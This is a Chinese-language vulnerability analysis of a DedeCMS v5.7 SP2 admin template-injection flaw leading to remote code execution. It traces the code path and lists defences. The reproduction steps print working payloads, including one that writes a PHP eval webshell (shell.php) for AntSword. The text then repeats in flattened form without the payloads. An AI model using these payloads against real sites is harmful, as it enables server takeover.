DedeCMS v5.7 SP2后台SSTI到RCE再到GetShell
字数 1133 2025-08-22 12:23:36

DedeCMS v5.7 SP2后台SSTI到RCE再到GetShell漏洞分析与利用

漏洞概述

DedeCMS v5.7 SP2后台存在服务器端模板注入(SSTI)漏洞,攻击者在登录后台的前提下可以通过在模板中插入恶意代码实现远程代码执行(RCE)并最终获取服务器权限。

影响范围

  • DedeCMS v5.7 SP2版本

利用条件

  1. 攻击者需要拥有后台登录权限
  2. 可以结合其他漏洞(如弱口令、CSRF等)获取后台权限

漏洞分析

漏洞原理

漏洞位于模板解析机制中,当模板中包含runphp="yes"标签时,系统会执行标签内的PHP代码。关键流程如下:

  1. 系统加载模板文件(index.php -> include/common.inc.php -> arc.partview.class.php)
  2. 通过PartView类和SetTemplet函数设置解析模板
  3. 使用DedeTagParse类解析模板内容
  4. AssignSysTag函数中检测到runphp="yes"标签时调用RunPHP函数
  5. RunPHP函数直接通过eval执行标签内的PHP代码

关键代码分析

  1. 模板加载流程

    • index.php加载模板文件路径
    • 调用MfTemplet函数处理模板路径
    • 初始化PartView类并调用SetTemplet函数
  2. 模板解析流程

    • DedeTagParse类的ParseTemplet函数解析模板
    • AssignSysTag函数处理特殊标记
    • 检测到runphp="yes"时调用RunPHP函数
  3. 代码执行点

    if( $CTag->GetAtt('runphp') == 'yes' ) {
        $this->RunPHP($CTag, $i);
    }
    

    RunPHP函数最终通过eval执行代码。

漏洞复现

步骤1:登录后台

  1. 访问/dede/login.php使用管理员账号登录

步骤2:编辑模板文件

  1. 进入"模板管理" -> "默认模板管理" -> "index.html"
  2. 点击"编辑"按钮

步骤3:插入恶意代码

在模板文件中插入以下payload:

{dede:field name='source' runphp='yes'}phpinfo();{/dede:field}

步骤4:保存并触发

  1. 点击"保存"按钮
  2. 访问网站首页触发代码执行

步骤5:获取Webshell

使用以下payload写入webshell:

{dede:field name='source' runphp='yes'}file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');{/dede:field}

保存后访问/shell.php即可使用蚁剑等工具连接。

防御措施

  1. 升级到最新版本
  2. 限制后台访问IP
  3. 加强后台账号密码复杂度
  4. 修改默认后台路径
  5. 对模板内容进行严格过滤,特别是runphp标签

总结

该漏洞利用DedeCMS模板解析机制中的代码执行功能,通过精心构造的模板标签实现RCE。虽然需要后台权限,但结合其他漏洞(如弱口令、CSRF等)可以形成完整的攻击链。开发人员应重视模板引擎的安全性设计,避免直接执行用户输入的代码。

DedeCMS v5.7 SP2后台SSTI到RCE再到GetShell漏洞分析与利用 漏洞概述 DedeCMS v5.7 SP2后台存在服务器端模板注入(SSTI)漏洞,攻击者在登录后台的前提下可以通过在模板中插入恶意代码实现远程代码执行(RCE)并最终获取服务器权限。 影响范围 DedeCMS v5.7 SP2版本 利用条件 攻击者需要拥有后台登录权限 可以结合其他漏洞(如弱口令、CSRF等)获取后台权限 漏洞分析 漏洞原理 漏洞位于模板解析机制中,当模板中包含 runphp="yes" 标签时,系统会执行标签内的PHP代码。关键流程如下: 系统加载模板文件( index.php -> include/common.inc.php -> arc.partview.class.php ) 通过 PartView 类和 SetTemplet 函数设置解析模板 使用 DedeTagParse 类解析模板内容 在 AssignSysTag 函数中检测到 runphp="yes" 标签时调用 RunPHP 函数 RunPHP 函数直接通过 eval 执行标签内的PHP代码 关键代码分析 模板加载流程 : index.php 加载模板文件路径 调用 MfTemplet 函数处理模板路径 初始化 PartView 类并调用 SetTemplet 函数 模板解析流程 : DedeTagParse 类的 ParseTemplet 函数解析模板 AssignSysTag 函数处理特殊标记 检测到 runphp="yes" 时调用 RunPHP 函数 代码执行点 : RunPHP 函数最终通过 eval 执行代码。 漏洞复现 步骤1:登录后台 访问 /dede/login.php 使用管理员账号登录 步骤2:编辑模板文件 进入"模板管理" -> "默认模板管理" -> "index.html" 点击"编辑"按钮 步骤3:插入恶意代码 在模板文件中插入以下payload: 步骤4:保存并触发 点击"保存"按钮 访问网站首页触发代码执行 步骤5:获取Webshell 使用以下payload写入webshell: 保存后访问 /shell.php 即可使用蚁剑等工具连接。 防御措施 升级到最新版本 限制后台访问IP 加强后台账号密码复杂度 修改默认后台路径 对模板内容进行严格过滤,特别是 runphp 标签 总结 该漏洞利用DedeCMS模板解析机制中的代码执行功能,通过精心构造的模板标签实现RCE。虽然需要后台权限,但结合其他漏洞(如弱口令、CSRF等)可以形成完整的攻击链。开发人员应重视模板引擎的安全性设计,避免直接执行用户输入的代码。